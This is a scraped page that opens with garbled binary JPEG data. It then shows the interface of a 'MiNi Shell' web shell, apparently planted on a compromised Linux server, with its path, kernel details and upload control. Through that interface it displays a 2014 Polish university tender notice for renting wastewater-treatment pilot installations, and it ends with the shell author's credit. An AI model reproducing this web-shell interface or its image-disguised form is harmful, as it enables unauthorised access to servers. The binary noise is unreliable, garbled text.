JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20140403/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20140403/113654-N-2014.html

<p class="kh_header"><b>Szczecin: NA WYNAJEM DWÓCH INSTALACJI TECHNOLOGICZNYCH DO PRZEPROWADZENIA BADAŃ dla WYDZIAŁU BUDOWNICTWA I ARCHITEKTURY ZACHODNIOPOMORSKIEGO UNIWERSYTETU TECHNOLOGICZNEGO W SZCZECINIE
FOR RENTAL OF TWO TECHNOLOGICAL INSTALLATIONS FOR CONDUCTING RESEARCH 

for 
THE FACULTY OF CIVIL ENGINEERING AND ARCHITECTURE 
OF THE WEST POMERANIAN UNIVERSITY OF TECHNOLOGY
 SZCZECIN</b><br>
<b>Numer ogłoszenia: 113654 - 2014; data zamieszczenia: 03.04.2014</b><br>
OGŁOSZENIE O ZAMÓWIENIU - dostawy<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Zachodniopomorski Uniwersytet Technologiczny w Szczecinie , Al. Piastów 17, 70-310 Szczecin, woj. zachodniopomorskie, tel. 0-91 449 4250, 449 4042, faks 0-91 449 4690.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.zut.edu.pl/przetargi/dostawy</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Uczelnia publiczna.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> NA WYNAJEM DWÓCH INSTALACJI TECHNOLOGICZNYCH DO PRZEPROWADZENIA BADAŃ dla WYDZIAŁU BUDOWNICTWA I ARCHITEKTURY ZACHODNIOPOMORSKIEGO UNIWERSYTETU TECHNOLOGICZNEGO W SZCZECINIE
FOR RENTAL OF TWO TECHNOLOGICAL INSTALLATIONS FOR CONDUCTING RESEARCH 

for 
THE FACULTY OF CIVIL ENGINEERING AND ARCHITECTURE 
OF THE WEST POMERANIAN UNIVERSITY OF TECHNOLOGY
 SZCZECIN.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> dostawy.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 1. Przedmiotem zamówienia jest wynajem dwóch instalacji technologicznych, zwanych dalej w siwz instalacją wraz z ich przystosowaniem umożliwiającym przeprowadzenie badań wielkolaboratoryjnych oczyszczania ścieków przemysłowych pralniczych pracujących w dwóch różnych technologiach: technologii MBR, MBBR, IFAS, lub innej zaawansowanej technologii biologiczno - chemicznego lub fizykochemicznego oczyszczania ścieków, przy czym co najmniej jedna z instalacji musi pracować w technologii MBR lub MBBR, na potrzeby Projektu pn.: ZAAWANSOWANE METODY OCZYSZCZANIA ŚCIEKÓW PRZEMYSŁOWYCH PRALNICZYCH. Ilekroć w dalszej części specyfikacji używany będzie termin instalacja bez bliższego określenia rozumieć przez to należy cały zakres przedmiotowy wskazany  w Załączniku nr 1 specyfikacji.
Subject of the contract is renting of two technological units, hereinafter called installation, including their adaptation enabling of conducting of  pilot tests of industrial laundry wastewater treatment in the frame of  the project Advanced methods of industrial laundry wastewater treatment. Installations should work in two different technologies: MBR, MBBR, IFAS or another bio-chemical and/or physico-chemical advanced  technology of wastewater treatment.
2. Zakres przedmiotowy zamówienia obejmuje wynajem dwóch instalacji wielkolaboratoryjnych oraz ich dostarczenie, montaż i uruchomienie.  Miejscem dostarczenia instalacji zamawiającemu jest wskazane pomieszczenie techniczne w pralni Albatros w Nowym Czarnowie, 74-105 Nowe Czarnowo 72K, jak również  po zakończeniu badań, demontaż i transport powrotny. Wymagane jest, aby dostawca zapewnił dostarczenie instalacji do miejsca dostawy (jak powyżej). 
Kompletne i zgodne dostarczenie instalacji zostanie potwierdzone podpisaniem Protokołu odbioru. 
The scope of supply is renting of two installations including their delivery, assembly and start-up as well as, after pilot test completing, their disassembly and return transport.  Place of delivery is technical room in Albatros Laundry in Nowe Carnowo, 74-105 Nowe Czarnowo 72K.  Supplier should deliver installation to the place mentioned above. Proper delivery of the installation will be confirmed by signed commissioning report.
3. Jeżeli obsługa instalacji wymaga korzystania z oprogramowania objętego licencją, to wymagane będzie dostarczenie licencji jednostanowiskowej na czas wynajmu instalacji.
If running of the installation requires usage of licensed software supplier will deliver a adequate license for the time of renting.
4. Dostawa stanowiąca przedmiot niniejszego zamówienia obejmuje również dostarczenie zamawiającemu następujących dokumentów: 
Delivery, which is subject of that contract, includes also delivery of documents
- potwierdzających osiąganie podanych parametrów technicznych i ich zgodność z parametrami wymienianymi w opisie przedmiotu zamówienia zawartym z Załączniku Nr 1.
Confirmation of technical parameters and their accordance with that listed in description of  subject of contract in appendix no 1
- podstawowej instrukcja obsługi (użytkownika) w  języku polskim, dodatkowo języku angielskim pozwalającej na bieżące korygowanie, samodzielnie przez dzierżawcę, drobnych usterek mogących wystąpić w trakcie korzystania z instalacji.
Basic manual in Polish language, and additionally in English language allowed renter to self-adjust and self-correct current small defects
- Kart gwarancyjnych  Warranty
- innych dokumentów, jeżeli posiadanie takich dokumentów przez zamawiającego jest niezbędne do prawidłowego i zgodnego z prawem użytkowania. Another documents if it is necessary to proper and legal usage of installation

5. Dopuszcza się możliwości dostarczenia rzeczy używanej, tj. innej niż fabrycznie nowa.
It is allowed to deliver used installation i.e. another than factory brand-new
szczegóły w siwz.</p>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 38.50.00.00-0.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Okres w miesiącach: 8.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Warunkiem ubiegania się wykonawcy o udzielenie niniejszego zamówienia jest wniesienie zamawiającemu, wadium w wysokości 3000 zł (słownie:  trzy tysiące złotych). 
The condition for the contractor applying for granting this procurement is submitting to the ordering party a bind bond in the amount of PLN 3000 (say: three thousand Polish zlotys).
szczegoły w siwz</p>
<p><b>III.2) ZALICZKI</b></p>

<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>

<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

</ul>

<p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p><ul class="kh_indent_1">
<li>1 - Cena - 80</li>
<li>2 - Parametry techniczne - 20</li>
</ul>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Dopuszczalne przypadki zmiany zawartej umowy zostały okreslone postanowieniami działu XV siwz.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.zut.edu.pl/przetargi/dostawy<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Dział Zamówień Publicznych ZUT, 70-311 Szczecin, al. Piastów 48, Budynek Jednostek Międzywydziałowych, IV piętro, pok. 406.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 11.04.2014 godzina 09:00, miejsce: Dział Zamówień Publicznych ZUT, 70-311 Szczecin, al. Piastów 48, Budynek Jednostek Międzywydziałowych, IV piętro, pok. 404-406.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com